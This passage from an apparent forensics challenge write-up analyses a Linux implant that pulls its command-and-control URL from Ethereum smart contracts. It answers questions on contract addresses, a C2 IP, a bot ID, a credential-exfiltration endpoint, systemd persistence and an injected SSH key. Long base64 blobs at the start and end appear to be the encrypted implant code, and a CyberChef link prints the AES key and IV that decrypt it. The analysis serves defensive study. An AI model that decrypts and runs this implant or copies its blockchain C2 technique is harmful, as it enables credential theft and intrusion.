OEmR2ZA5SEZGbKHONfogcPfH9KSVtJaE95ZraEzLRWUmwIOvw7G0r94CNKVq+om/zzZD5EitAiRDrnvUj1KhO9DCMq/N5zpTN49jPR6RNkBWn01bKmQT9GiQZCFILzi2/J3fMReEvtICrEyK54UiYWlIC/IrU58Q5CTqBNiH5pdQg0HLLJ84fWiaIRwgYv2O9P9FBloliel9xCPee48fFvNBebLwmj20XtH6sE9eKruNl47SodInK1UbpPT/Nzeh7Ep582tMkvn56UtPl9bNj22o5rdAKIiYHkoDXXKx429k38tP6gCTgpjv+xXaoqKEofTG2S2KZIa+Zv7ZErGYxBOTofZbWp33dhoNOz+qNW7GfUJW+AndXbTOVWWP7aTU5eQmBvL/vDE8IWeRogI8PQ3HZHo06sycmefU6XF099DCFXPTC+I4vgVl61C4p8yYfkyQVP2PHYYucZ0yXvuNxN7w6ha9cfgI2uDl45YGaLorKlG/ACXdjxz8r1ruDbvVCdF8qu+LCpWVnlXJnlsvbOpn3zri9HN0AsIaphIcm2pDVHsntzlGdxDJeyBjZj7eF6mOUNW4DVb8yPuvmuygm5bCnsVb8ZzKGs8ObgtJc7Hdinu2A9BmKSH5PKkN7DdDQMqYIZU14hh7qYe0dK9IuGB2UgZ6VpRckx5rt87SyADw2ZJe8c5qzbhs1vXGHGggsG7vLwCx8hm7G5uxc30PzVIUhvHut/HRoRrit0pLUtosMZLhsSYLDTyLOvB4BeX14eTkfPWxh7w97BckGxi1MFUGkQpER0QETGfAkg2Z7iFZyo81sgSLlxXSUhUdLXOXSDMJJfrIt7gyVffbTHptSmmvRi+xVpoaaWDVeWGTW67m6xNEdsvxFM4FVi4n7FSztVAmICbA3VBC02XJPBvKSd6KnqdEPep8WakY/SesgCEJQfRotthW5C0+29aCF808JxvhqsEtQREQnNVAZ3vRds94jYRUpI+4kBNJcg6TOxWhuHHg406tBr1KVb8hGwrweQx6+yAGvGfAXjuwnsw7SZ1bCOs3yJ0G0aTyi8a0SJZcem5A+oALVC8NOziNYbhkHwMk8IIZ4nfLzklgWmw7sTJo7w2NG6/8CgdS0YGXQDjDT+3yzSoVaGjCn7dqTEBTIcF0EyZGROXhumi50qMb83OjVvW0I4/mI4ncReAck/HM5kCsLlO6vrfV/0XcH/K8vICAT0ZFB9mql8+EkRcd5+4oCfDDBgICD/V9vRHOTguBg6faQZfmuaYBmNqhhuLBjwEaOQlFf9t9oqR9KZFrldRau2/+nssrgnA72o6RNWEMsnE6YZPrOU6R6P8A9/L3suIk42W+7mBjKzsAPn7iZShcC8X3PRniIxBxySBACJ3ZtfWNp+/22LGo7XtKoI5cRjMwfzLrKoBVtc0yXoa6SMTG+sfiIXq4ski4WyUo8OSy/QXzX+zKnk/tXuFZ2cim5hx4J0GB5naNwhzwOCUV/yMrAntwRIT34PU7e69plnrm3aOFH9zBIM0CIVyo5RhSWODwkzjgHjDc43KGutMoG2J+O2Fvu4uzXPuqPyrXZEbTF+5vjcGNsk7zUKFYeLVPFO7O7pfD1GdkIJMS6T+qYHOEYDyWh6zw8wdrsIGPdPz6tMhQP/kxwrLDif5JzDYpgME/tZrFnWNStAxk3KN/PGrKBdyjFMPjOAXQL1sj9zFkInMiqLl6Onuih2o2LzQUK7FyyS0Dcfw4DZFcB0cvuCOurcxTKuyxQfMGQqFlXMTdUumXAkbgSK1WFQjJZiPmzF15JKz9JlgTo7lXrvG5o/tDZzBBUv/dJfokG/vGT9ao+xCTNtR51UH2h2jXlh63WKvpZTlCBiIlyRDJT7IWHT/hu3Gs9YrPvzrHiXPetC0kCinZb/+0wQku4Sd7wM6b7tYLeAHbj9sYuy0cU81ME2/m+RHF+0esAu9pvA5QFvtB9kAzSurZATstxlQZlmDMN3D3K1HGMSL5yiTDgrxE+uWSbmQ7e0QzWFzcweVkoUKDJh81NEefdBZJQEW8flFJ0Gab910pEtelXK95y+q0ZM5dMKDTfKiBDw5wyvTmGDI+CTvJlKg2fIDD9OBNKWDl5WBtMCWvzI5kDkpWyWSzOzkiCBfAZKY6uNTKsEWHWw3QpmZVuWM82xr/N4cKA5h6t5bVWl5USvQq3Jig0esAjRon8CijcWV6gJW/jue9K/gvm/MfoIQAfbDV/quFUc0PKqVJ3dZxubbPvAVFmYGiAL3jJKt6rX8pe51OM59xepeZQ+bZ04+bWmM5h81r7Mn+sgg19gdLR/zjzLzb5b9b3bvuVdGPX6H5zE2QkYiaM2w96E5K+2PDjGVMWOLq8QkU8fXz+MgB3VkseaUuZdRwbVuLCsqQUCibCxzv3dQ2DqhhWTaCFZqAAWN4SICfBiDaRSeLJfnyOZWB2vypYGdLARkpnoLhWKRJE4eBC14ptN3J47JZv7yCk6VpfCfHNKQmdLhCwa2dKTP3D81kY9rArMk8wQYFmsuJ/+JP4zIPojH+8PBEFXT2rPWTTeNZOAptJ9+c51OD4oTTTQ31dJr8x9R1VzZcd95k/UOlraeX9i/Qm93oSwDcQuNHQSOxkSNMpkV8vgC3KIgaIAUQcVIqIldvob8ELIb1CCUujkEhDRKsjnop/rQCPpZW1c7T+nmJMvsY6/H/aQb6Zut/dvaHXn1ifo2LbENC/MM1hdkb/Mogcvo9sPL89762RG1sJloczVqOlRl37Fjgz7u6GoY2z4Dr7jjvqxf6aY1qFuVzp25JppV/VCMDvPYuk9gowOiMupZdRgN7QCY01js2kp+XtTSQ5S4Phjp+0bA25RRa2ngGTTSKA50tejuB1NHn3/rgdwH9thI59UhawRHLUi8Gw243dI2bIBfMze/GsqTnLfOh38AIyTjlM8aSDsfbAlyOGTF1YqLuDJZ3bI5rpnwAaa3ozyzXEOcfUeCn1UfiWmiyuh/tGd0w5CTW5xr4gV9nVHNN/+LR5FSebaRhiUHHy33ZW0PpNveZvpSuKy1adTkJJb2VXQMc58hyCY34PWP7NqLHBOw6L9/S4exF/QLAGYOjCypjqBNU7gsJ96r/RsSsqv7+j4gflqQNF/T5a9jKYow9fcwrkNzoXutNMY4YklkMjzEF2iycGXpgMNihI7519lG1nn3txqm8IzbJyufmzwZJsutBIPjFzW6rAIDzjbXpQ4YTh9D792YQrhQW03JpaO4LPFucE98Y6GE/skyzn9z8lnRMmIEgxxJucceMQZsAjmDiRhDfofgmQMrY7pJOEuF+da4gmyH7UEP3BDyW8tGbHNMRfqh+OWCzXXwOHjb4ixGrllfdzEDJx2yFp/lpkr7YLWbbZeyqHdRCgnndOR93NaFe9081FuVBbElKYLuQovfUv0yZIOzrQT1+XyxJkuHFODjGZMV7GLb/HDU/IXC0fLYcCM+EoOFdKWHgWC/CMYhG7+JCO92c6ryu4X0jVteHCmj/UYkYBlGAo+85wrARkEAhjIKpQR/Fb706SZmNk5JJ/z8VU2sjNOqSLGkjECI05iV6WzYXD3FGUyY/O1J45rlgDWWaVRDN91SLwAbeDvhSnx/CPto1Pvu62hwQP1lk0dCJXn1SQfaK2CO0fNqkIDFjh3XDhcfx7yBdbGdCpflZtoUlLG9wY5VV7FLHZaHgtFpBPlsDEtUBTCbJS8fA7mmtndmyFgMgRhGjdj/vROp1WMucwHb7EdVijJDdsDiT/2IbxYpYFYHn4CbqfxmxmDA4yMEeJkk6D2nNZ2tdaJxwJBDRhbI4vABO7l5Ec+uctYJqb8X2zaHcDC19/+SvYd7oRU5MpygWm1rnuko+WM/FSCltVtkOjX+YgGa2g1YLntUa6YmoWYNM41DjyeLKE2ARIOx/MQD2z4qy0k1tPFQcv+KoCP8s/3NSZwpMDG0BqTv+SP2LOabUuv1XYJdLJYo7ECirfIzFHlU18ZmbuSvVIWgRpSwqhH4vEfwDKC42y9ccWHx2Gy6c9KwipZoEaVnCCgDiZzKW2CcJi06/GqLtSnfioU6Ua8I2s+oNmxz71EFdD+DCdGTj+w2ayzxFXqwSXq5RO4FmWaCVwkS5p+l+Nip+aeckkZWxp6gjW5oC4SERdDejuwSvfZd/puxu+M7PEEp9dE9YlFRULVIBEOhl7JEGxgiRJNUPPc33DT5ganJYc2NaOH/XKu0Fb4hcaqnr39ZADXrj+RDAfpwb2M6ddVDSvo1ZX3i9nUTyubBNRVjt8D8lQf9TWu1QpKUuUilg957PsY/08o+RA600Ek4+sqozusTn1QU7ytJasGdLGFJbMIH94nKI5Dre89LzRyB1TDDrERiFgeTdSAGfQtleC/oVw3DGAIJpxBtJNFk+pbuywGUkCpqDn/bKyrxPoCnkPw4HvkWSQbvfHsGdYYxR3rYLydicPMljiwoJ87JLftqjhKLduqysEwTgYRuzEVv/l/LoeRNqKHdf9U6WQGpYOJ+gcBH8pfpHKodukv6D9Spj8mmlwxCxhZtPuB3rt3MVPnVIf8eowsH93+5D7ZN2eA99DMpdR8T+ufskPkbw3Jh2ag/xY88dF6rGh91vHkOoSy+hB3WELL9ZSWXGEJ+sXwQCb2nsrfWMd6THqX/ddsunjr4ej2bjsKAsiIBqMLRaePHl1PzqQE1V8Uh7sU+F/7PDHCb5Jp1pu0a8rx4rzyLA+gHafYMD84hS6btevNkqy3Pd452rCxbdJ32swzA0t+ZRogDAi8NoY90gPxkziLU/xhPxvZOQpWpJ6IEgPwsjY3IP+rn3ycYZirPZfAwelouBLwCrK7KBGThOzXxOwUIpsAH3WqssAwKAmf24vVygrMMIN6oet9YxjGUARJlFjYNXXKBJka3LbzoxIE84PFQ4bolYwjJpf7I78NgFKYgAsaOPqZykM83a1IUfvbihOXuJiP+qdM6rKIJUAWkpcPqGziqDNpdfMgGwdP7DUmWsikLXkE8cYNoEKJZ1cRsAi0ZumC1RbjfArkvkfwBzLOxhqS9MPstS5XPY82XrCLptNn6ZecoQG21ll0cdRZCcAGgy1PDgy3bU6DuSstQ9ApSFNV5HfF+6XDGW9Zs+3kC3uoSwh/ISgbMTWw7nl7FEYGfxgzJ66HNOQlnKWOsjk1yF0/COpFkr8Uu0pKc5KHJJhlL+Ps86yfLGd0szJ+nyqUbe9KPk33o9UeJiMEtaSapRYPECcTQB9AXab7A+PRLSoRa9G/oluQYUJ6KHzFCt+L78+QEVgoNUb8C+1fPL7EWrHQSbSsKsp3L8DP4WNP9y2Ks2yu1hMA/+HoF+DAwNAc8IrPg6BcdEe4HQm4VGGqjK9JS2xVSchPNxqatYkvqw3Awx0fTw5z+w6+ROkE9Bdp1j6JEjT2/cbIVgFoOwRn0gjydUvLMWpg7A9s8w7gAt+BGmOujWw45Fd6AzAF4GNahkO2YyN/A7rEigTCgZv/uEHXyOX3k52j9dPqTN3+y2JNOdk1AzxLvi27uDdkTq/9nlcmHDb/i5+MC0sVfSAMGCXpWQ874XHY8LZgybSLzI9gHzpJ0L82v6QytxWVWkSNkW/cKUpLgb57Dxqg4dGKk2vbOELBGY5bSHSlzGTsxi6cj0mqlP55q8n2Mz5eRb+1rTmASOS5SVMOYRlgS6MoYvDUK64QSfYoRHQZfmg1lHOgLh1/hx0TilCs7OGkDD7sImTIHujFgfldXxYngEdh/AtmypmlcbKgTFlmiB/vdCYf7RO0I8yXWBK2yO5nDl5BrUK2L4UG6Wfncz6YCVxlxFYOlyLxqHrDrN4DmJoxwNVtV865010dVzi1eBUCkhsk/2OnoTaNdlvJbk4AYewYnLKefrbCWoiwsxYtlJSMb2je11DT60Ry91X8O6MYummI91UiiReRbGmoM4oXY2LF5rAJjVpWwUwdHiAMiSmBVMbzrCnpNV7lXUMMW4zloh23qkQZ3JHc8tDIK9MgAcmoeT3+xIqA0ne9ztrzi2PdaWixBNVc+s3LJYffWdIXJT8ZUL4ScECmluu4h/g4ZhXg0mVNU20GbhlVdIfNFY2HC+ntjz8+qYK8YtN/kSVD+ZKA83fzFjhyLZ+yRdVb73vUBaYHQM5fII71CuFnJE625QimaXuefHIOOIyFp13IgdZUGowRu7qsW79PtgprMGUYIytNp1v3NsXzMxGKKa4Idkg5ghty0gpl9hjBya31CA2Yhgm76m1Kts7lXI94NEskosoYCGzLEoGCurnSduSo5OvEA0HnIaGZNI3VCHAwZ15vVX8TqU5RkGcMUsTHEi/jhW/kTwwdlYE7mH2erzqLQMpnFDAMFThBYmftN+cd2/61PvxTBHx/qk1SEeLEPkSUhZqF3XH5JE8JTTKz0fFg18sqv2KOt6Mec+Vv48dLc03sZpAubTiqa8hgrjw9czkRby7onUgQL8eqSuyMxZPs9JNGsGer0ndKJRMTJFRW2sjUmQcB+7N4L+nTl5080hK7QoBEvmbGkzcHGb3FKrq4z4oLuOkiGfLxA7CUMmac+VnyJww3JANDgf1E0niGRL1ie46SJkmJhbXKy+NHKoPsMMNT+w/ddEaluNpj1W0WF7nmQb5UAtiGQLU3daRVAcidlg7W1vARh5NSJDfFpuP4i0u54658NnX4vaOqNdPSr7ZGgZQN3x/Ux11gwvpF82j4IQeGKPCqUAVlshEyCbPZbIDCaLupqYGL5tjoVEch1D7qOp/rzl0TyD0pt8MULkPeelGBubp9tnadmLAZ0gsKeqOy9dsqhL4nuHs9x1ffP+nfdZL1727PFlwFlUNu/eyZAb7YrZ9DjeRwoO4qrDgY7oS1Ox9uuV2FatWrGewUHO+hZD91jyiLDrlqWPW+cUhOffH4VlwFCuiLmqrQqa8oOTr1DJa0hSdP7jJ1fAde7VGGbgvKXvLCO1xQC62hi7lf/mu5sNZrpOwliy5f3BN3yVRWs0JQQ5jsLyQbTYXK4+Jq5FLVpNrh8GokqM89Aov5zPV55UNk6LPMeuzx5wSp2Cchenw+OJfDYwI0F1ytp90rdrSWBXypqwxxk2sjCVEO4uqQkYgprFiqtfK/w3bUe7xqAkmiuYiuYPP9bbeSOmBDQIEBADcMU0UelGJNLmCg4mQCIfJfTpAdBVZHE0t9ndaZ2ip6d+9kcxqUsRrF6PjGaws4/DRXNliw1UwtWjkXaBy4Y/DqVygoCfMTSNYsoLqVNZ6hAcDnpLHjUmhOw+qnnZ8+Tgo6iyPaRv1/1pWYIWPTEkkCK6kn3U/f/j9hlbRobs9Ff7PF1oVpI4ky65WYkv/tcAaDQ+PZmRXqSBtqW0PBZIYm4h9GGQmYuFUeRwjhyA+B3gfdPXKWy/4pc77xIbZ32TfPO1FLgOOIiH/bWa6h2KCTIs51rvZHR0WOLVU0KOagIQAujB7XvvqCJ7/Fi6T406C5ILyz10Q7fF+ekdNoqPnkx4l3KZtLCXWTj3wNH2Q4paPjsbPYCDYBRL+CxNAGrlitiPUcOXw802DXJkma8E9V1uKnL6YbuIXGsf5SRMgmvkDHB/lpWrlMi/gwfeZbUjOfKrZig4N0qymoPHqQZkCZu0Pmg3/HK7vkTq2yVR42LNrmjIESIp6TI3js/yINz+8BhZZhbvY48w7ceMMD8UGTEZdzY+Urqv7ZFcCvJL0boEmTUUu+6e7NjBuOp00Y6tr9t3btYxuCNVPu/QTex4tHINuYQ8txan+vWC1F1dAxlHqoKojXtxVA+Hg1B94GCVY01U0QkaMlV0qX5h+jM1K4asAriLHDkK3hTLJc1G80JAL9P5qgfF6ZCCDHVz6pif3PGk8pmtY0Amr7l/39n8DLHHRNHx+8+TprLLaS6SEG+5BvLFshz1OaASZJtFsVZuKqYHEPalypqYxglPhYPGUyH08VjzJgUDD+KyVxJeNwcIsBudC1I2b2mmgOO3lVRml8vmYZ3cYxcX+75/MXjzYe2hoSde3Zwp4OyptGqENo2FssrraBUxndWPLsqLPfEcU7+a5UcV79mN9D5wrw4HW2UTrzoATWbmR1R3txYSIUcgD/5HLkMa3Uhxh7AAhYRTfWAhE7YiT9MEUM9R7MURrxrRkugTexNcQBuq7TOxKWVrZLqGG7ocj1dmd7Ww22Aqinle7YpjjoQ4MXFOeHY8knkINp3j9pirw1pLOeH7HeqBJ6i1FevWEEaJ4lreFafgtwKDzvreaG5ApibMM2wdc+fYGkFcR9hsh1IXXl2174SmSBQiz2Afmeo6//uLuOpSiKYEZmVsCphiFTwLxbV1YAuylUMqPV1ZAkj9pqJ0+lW1orqGxyAY99LowKiJexbwhj6YuGMQeDcluNRn+kSDF1iaFRPUoROGtJMm3q/eiLsiM+3sAO/P8KyYMUoXD1WD1/cCOt25lR0pJxEzUWNDqRr2l4Nv0EvQVF+nn1JV3RZnICcFkpwelfXCUkEGugym+ADtNpIIdZNw+N1jCuDG4Ti+8W/dbe8G+G5VhiJKUxS4igIAeqy4Sq9QU8ze54P4VXgPzo3xm8RTBGzzsSqGLwWU8XNteOHUfpBZgEcjLZcjb0SsFhmGBSCN6V2nzpgKqRS/RoKb1VrUxR56XvG5lcM/ukI8EppRJN6cvEE6Pmno0GlO7B/hJulGsV6qOP4UVav8TIS71aY7HBvIn9+vYOr5rodSgC0pMOf+oBGLmzlLtngQ8ifp8uEdpAddPLgv/Cw6NJ/E2CqdOF3UV/BJHyb5kGmNNVKin8wsY4co2sW1orcRedB8CipMLbLM39VUzW+UxAbVniX4Su8rY90971wg/7slO/MlQBepu/ZFXEF3/uU7aU3ntXnp1Hr5RE0gasoDZ9tf6I13C2msuedQkikffONLXRpu4GdzQMdjz9qrq5UTLgjc86/6VXB/FQ4tQ+meCDQ7y4L8v+PLoPWVxB7JoxKcPyvY8BTePzy2rurXAjlUQ0iyDZG5SBcdOhXCtClw59jfDUkE/O54As1spdXke3UNqecrvR4d/5Zg1ir3K1EQyqNBQnbJENu4lutz+N2A3Geh8OhJFrDMyT9wOG7maH9+C6VWqNzPs55Gw7Tj5mTiR5DCl3JLHCS06NBXtO5xlzqbZJPPf6KRrgjRXPG949VGqVrNGbWYztM2ZFW+xb36ert3Sz7MZXUc14nzgQhJD+yXMqUmAF9E//OtAnzplWX4nYgKN25iF4mmOXJcyc2SQlVUjBV+QkU4HW9OrfgGytSzG2KvG0C7mZd/3F+zynVvwz7v9QlND+jP+9WXag8nzZ2SxiEIuhMul/S1YdEl3em7+cOlNqbjcX5rYpQ3djCVl8tAXnrYfLXc6/B0uQiFUFGFLnzC2aqxYQbH43y1esb/yXP3qpgpm/8lBf3asoCf89OZi6uox+/kLAcZqOuTJMcG1sKq1AQmh/HfaJN9QpCoiKqwthniP9HxmptXnSgvXYxa5HEMWbiUUw==
&amp;ieol=CRLF"><strong><em>link</em></strong></a>), and get the answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XwliWI_7zc0yc9ZqmStimw.png"></figure><blockquote><em>ru</em></blockquote><h4>Command and Control</h4><blockquote><em>Q7: What are the two smart contract addresses used for C2 resolution? (Format: in the order they are queried)</em></blockquote><p>from the same previous decrypted Code, we can get the addresses directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*hE0YcyeMOq54R9g3W-bnxw.png"></figure><blockquote><em>0x22f96d61cf118efabc7c5bf3384734fad2f6ead4,0xb0cbaA51b3D1D36e8E95F4F68dfBd47ED2eaA7a4</em></blockquote><blockquote><strong><em>Q8: </em></strong><em>When was the primary smart contract deployed on the Ethereum network (UTC)?</em></blockquote><p>from the previous image, we can determine that the first contract is the primary one, so let’s check it online (<a href="https://etherscan.io/address/0x22f96d61cf118efabc7c5bf3384734fad2f6ead4"><strong><em>link</em></strong></a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aPd7rSCxmtWKETFs0FWJhA.png"></figure><p>from etherscan, we can can go to the full contract and get the timestamp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K1b49WyqSRaq0eCbTt5lBw.png"></figure><blockquote><em>2025–12–05 19:13:47</em></blockquote><blockquote><strong><em>Q9: </em></strong><em>Since the smart contract is deployed on a public blockchain, its source code can be obtained.<br>What function name is used to retrieve the stored C2 URL?</em></blockquote><p>in my case i used the <strong>Dedaub (</strong><a href="https://app.dedaub.com/decompile?network=ethereum"><strong>LINK</strong></a><strong>),</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8fF323Jdez5fYAMyCYgJfQ.png"></figure><p>Now, we can put the input data we found in the contract into <strong>Dedaub:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oh81N33V8YqCkQcYZ8AOwg.png"></figure><p>just like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G154ODPFOTdcasi-ynJKSw.png"></figure><p>and now it’s decompiled successfully:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qowzdk5elLA4qgRVlVLxvw.png"></figure><p>it’s basically a minimal storage contract that lets an address store and retrieve a string mapped to its address, so let’s take that full string and decompile it again into <strong>Dedaub:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*iVRw-hfNFZW_GSOVoEfn8w.png"></figure><blockquote><em>getString</em></blockquote><blockquote><strong><em>Q10: </em></strong><em>What is the transaction hash of the first C2 URL published to the primary contract?</em></blockquote><p>investigating the first transaction hash as shown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tl53TdpxIJJqTDop5dbvyQ.png"></figure><p>investigating the Input data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M4ecRRDl-w8AJdJY76sHDg.png"></figure><p>Decode Input</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NOsjBzDnt2Qf37-HFYDD_g.png"></figure><p>so yeah, it contains the C2 URL, so hit the transaction hash for the answer</p><blockquote><em>0xe4efe4d2b118229161f7023e13ab98b54180fbfb1756d11959e4f19238b9655d</em></blockquote><blockquote><strong><em>Q11: </em></strong><em>When did the implant retrieve the C2 URL from the blockchain (UTC)?</em></blockquote><p>falling back to our pcap file, we can use this filter: http contains "eth"or search for eth_callsince it is the JSON-RPC method used to read data from smart contracts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kJb0Po9Gj_4QQTvyq8uz3Q.png"></figure><blockquote><em>2026–02–10 18:37</em></blockquote><blockquote><strong><em>Q12: </em></strong><em>What C2 URL did the implant retrieve from the blockchain during execution?</em></blockquote><p>we can see here the traffic direction:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FxTlLcV4mhsHLUPEabMbMg.png"></figure><blockquote>https://63.176.62.199:443</blockquote><p><strong>Q13: </strong>What is the Bot ID assigned to the compromised host?</p><p>the same previous packet, we can get the BotID from it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rkpXQSjskvGmv3a0Wg8Vvw.png"></figure><blockquote><em>4ebfbc8aedf60511</em></blockquote><h4>Credential Access</h4><blockquote><strong><em>Q14: </em></strong><em>Once connected to the C2, the implant started executing multi-stage payloads.<br>What is the endpoint path used for exfiltrating harvested credentials?</em></blockquote><p>checking all visited URLs, until you'll find this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vd-LrB1oTn8r6Thr3wBmqg.png"></figure><blockquote><em>/crypto/keys</em></blockquote><h4>Persistence</h4><blockquote><strong><em>Q15: </em></strong><em>What is the filename of the systemd user service created for persistence?</em></blockquote><p>Since we are looking for Linux persistence via a systemd user service, so the goal is to find where the attacker creates or references a .service file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JVtINF_p-jFg3ydIBAWeaQ.png"></figure><blockquote>c16a536e1a9cb42d.service</blockquote><blockquote><strong><em>Q16: </em></strong><em>What is the comment field in the attacker’s injected SSH public key?</em></blockquote><p>we need to know first that the structure is like this:<br>ssh-rsa &lt;public key&gt; &lt;comment&gt;<strong> </strong>, so by the filter : http contains "ssh-rsa"</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N0xvHlOKrtLg1po0UNKyWA.png"></figure><p>single lonely packet, let’s check its TLS stream, and get the answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8TMfQfUI5fg2j8vj-LntLg.png"><figcaption>BINGO!</figcaption></figure><blockquote><em>maromalix@ether_dev</em></blockquote><h4>Execution</h4><blockquote><strong><em>Q17: </em></strong><em>When was the first remote command executed through the C2 channel (UTC)?</em></blockquote><p>this question and the next one <strong>Q18</strong>, have the same idea.<br>from reading the full decrypted AES js file (<a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'a3f8b2c1d4e5f6a7b8c9d0e1f2a3b4c5'%7D,%7B'option':'UTF8','string':'d4e5f6a7b8c9d0e1'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&amp;input=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